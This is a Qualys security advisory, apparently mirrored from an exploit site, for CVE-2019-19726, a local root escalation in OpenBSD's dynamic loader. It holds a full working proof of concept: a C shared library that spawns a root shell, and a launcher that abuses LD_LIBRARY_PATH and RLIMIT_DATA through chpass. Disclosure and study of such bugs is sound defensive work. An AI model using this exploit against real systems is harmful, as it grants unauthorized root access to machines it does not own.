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## https://sploitus.com/exploit?id=PACKETSTORM:155658
Qualys Security Advisory  
  
Local Privilege Escalation in OpenBSD's dynamic loader (CVE-2019-19726)  
  
  
==============================================================================  
Contents  
==============================================================================  
  
Summary  
Analysis  
Demonstration  
Acknowledgments  
  
  
==============================================================================  
Summary  
==============================================================================  
  
We discovered a Local Privilege Escalation in OpenBSD's dynamic loader  
(ld.so): this vulnerability is exploitable in the default installation  
(via the set-user-ID executable chpass or passwd) and yields full root  
privileges.  
  
We developed a simple proof of concept and successfully tested it  
against OpenBSD 6.6 (the current release), 6.5, 6.2, and 6.1, on both  
amd64 and i386; other releases and architectures are probably also  
exploitable.  
  
  
==============================================================================  
Analysis  
==============================================================================  
  
In this section, we analyze a step-by-step execution of our proof of  
concept:  
  
------------------------------------------------------------------------------  
  
1/ We execve() the set-user-ID /usr/bin/chpass, but first:  
  
1a/ we set the LD_LIBRARY_PATH environment variable to one single dot  
(the current working directory) and approximately ARG_MAX colons (the  
maximum number of bytes for the argument and environment list); as  
described in man ld.so:  
  
LD_LIBRARY_PATH  
A colon separated list of directories, prepending the default  
search path for shared libraries. This variable is ignored for  
set-user-ID and set-group-ID executables.  
  
1b/ we set the RLIMIT_DATA resource limit to ARG_MAX * sizeof(char *)  
(2MB on amd64, 1MB on i386); as described in man setrlimit:  
  
RLIMIT_DATA The maximum size (in bytes) of the data segment for a  
process; this includes memory allocated via malloc(3) and  
all other anonymous memory mapped via mmap(2).  
  
------------------------------------------------------------------------------  
  
2/ Before the main() function of chpass is executed, the _dl_boot()  
function of ld.so is executed and calls _dl_setup_env():  
  
262 void  
263 _dl_setup_env(const char *argv0, char **envp)  
264 {  
...  
271 _dl_libpath = _dl_split_path(_dl_getenv("LD_LIBRARY_PATH", envp));  
...  
283 _dl_trust = !_dl_issetugid();  
284 if (!_dl_trust) { /* Zap paths if s[ug]id... */  
285 if (_dl_libpath) {  
286 _dl_free_path(_dl_libpath);  
287 _dl_libpath = NULL;  
288 _dl_unsetenv("LD_LIBRARY_PATH", envp);  
289 }  
  
------------------------------------------------------------------------------  
  
3/ At line 271, _dl_getenv() returns a pointer to our LD_LIBRARY_PATH  
environment variable and passes it to _dl_split_path():  
  
23 char **  
24 _dl_split_path(const char *searchpath)  
25 {  
..  
35 pp = searchpath;  
36 while (*pp) {  
37 if (*pp == ':' || *pp == ';')  
38 count++;  
39 pp++;  
40 }  
..  
45 retval = _dl_reallocarray(NULL, count, sizeof(*retval));  
46 if (retval == NULL)  
47 return (NULL);  
  
------------------------------------------------------------------------------  
  
4/ At line 45, count is approximately ARG_MAX (the number of colons in  
our LD_LIBRARY_PATH) and _dl_reallocarray() returns NULL (because of our  
low RLIMIT_DATA); at line 47, _dl_split_path() returns NULL.  
  
------------------------------------------------------------------------------  
  
5/ As a result, _dl_libpath is NULL (line 271) and our LD_LIBRARY_PATH  
is ignored, but it is not deleted from the environment (CVE-2019-19726):  
although _dl_trust is false (_dl_issetugid() returns true because chpass  
is set-user-ID), _dl_unsetenv() is not called (line 288) because  
_dl_libpath is NULL (line 285).  
  
------------------------------------------------------------------------------  
  
6/ Next, the main() function of chpass is executed, and it:  
  
6a/ calls setuid(0), which sets the real and effective user IDs to 0;  
  
6b/ calls pw_init(), which resets RLIMIT_DATA to RLIM_INFINITY;  
  
6c/ calls pw_mkdb(), which vfork()s and execv()s /usr/sbin/pwd_mkdb  
(unlike execve(), execv() does not reset the environment).  
  
------------------------------------------------------------------------------  
  
7/ Before the main() function of pwd_mkdb is executed, the _dl_boot()  
function of ld.so is executed and calls _dl_setup_env():  
  
7a/ at line 271, _dl_getenv() returns a pointer to our  
LD_LIBRARY_PATH environment variable (because it was not deleted from  
the environment in step 5, and because execv() did not reset the  
environment in step 6c);  
  
7b/ at line 45, _dl_reallocarray() does not return NULL anymore  
(because our low RLIMIT_DATA was reset in step 6b);  
  
7c/ as a result, _dl_libpath is not NULL (line 271), and it is not  
reset to NULL (line 287) because _dl_trust is true (_dl_issetugid()  
returns false because pwd_mkdb is not set-user-ID, and because the  
real and effective user IDs were both set to 0 in step 6a): our  
LD_LIBRARY_PATH is not ignored anymore.  
  
------------------------------------------------------------------------------  
  
8/ Finally, ld.so searches for shared libraries in _dl_libpath (our  
LD_LIBRARY_PATH) and loads our own library from the current working  
directory (the dot in our LD_LIBRARY_PATH).  
  
------------------------------------------------------------------------------  
  
  
==============================================================================  
Demonstration  
==============================================================================  
  
In this section, we demonstrate the use of our proof of concept:  
  
------------------------------------------------------------------------------  
  
$ id  
uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)  
  
$ cd /tmp  
  
$ cat > lib.c << "EOF"  
#include <paths.h>  
#include <unistd.h>  
  
static void __attribute__ ((constructor)) _init (void) {  
if (setuid(0) != 0) _exit(__LINE__);  
if (setgid(0) != 0) _exit(__LINE__);  
char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };  
execve(argv[0], argv, NULL);  
_exit(__LINE__);  
}  
EOF  
  
$ readelf -a /usr/sbin/pwd_mkdb | grep NEEDED  
0x0000000000000001 (NEEDED) Shared library: [libutil.so.13.1]  
0x0000000000000001 (NEEDED) Shared library: [libc.so.95.1]  
  
$ gcc -fpic -shared -s -o libutil.so.13.1 lib.c  
  
$ cat > poc.c << "EOF"  
#include <string.h>  
#include <sys/param.h>  
#include <sys/resource.h>  
#include <unistd.h>  
  
int  
main(int argc, char * const * argv)  
{  
#define LLP "LD_LIBRARY_PATH=."  
static char llp[ARG_MAX - 128];  
memset(llp, ':', sizeof(llp)-1);  
memcpy(llp, LLP, sizeof(LLP)-1);  
char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL };  
  
#define DATA (ARG_MAX * sizeof(char *))  
const struct rlimit data = { DATA, DATA };  
if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);  
  
if (argc <= 1) _exit(__LINE__);  
argv += 1;  
execve(argv[0], argv, envp);  
_exit(__LINE__);  
}  
EOF  
  
$ gcc -s -o poc poc.c  
  
$ ./poc /usr/bin/chpass  
  
# id  
uid=0(root) gid=0(wheel) groups=32767(nobody)  
  
------------------------------------------------------------------------------  
  
  
==============================================================================  
Acknowledgments  
==============================================================================  
  
We thank Theo de Raadt and the OpenBSD developers for their incredibly  
quick response: they published a patch for this vulnerability in less  
than 3 hours. We also thank MITRE's CVE Assignment Team.  
  
  
  
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